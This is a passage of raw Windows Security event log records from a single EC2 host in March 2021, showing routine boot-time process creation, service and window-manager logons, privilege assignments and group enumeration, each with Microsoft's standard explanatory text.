Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x31c - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245217 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x38c - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x31c - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245225 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:36:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245224 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245223 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245222 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245221 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x712A -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245236 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x11070 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245235 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x1105E - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245234 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x11070 - Linked Logon ID: 0x1105E - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x358 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245233 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x1105E - Linked Logon ID: 0x11070 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x358 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245232 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x358 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245231 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245230 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245229 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245228 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245227 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245226 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245248 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245247 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245246 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x17FA2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245244 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245243 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245242 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245241 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - 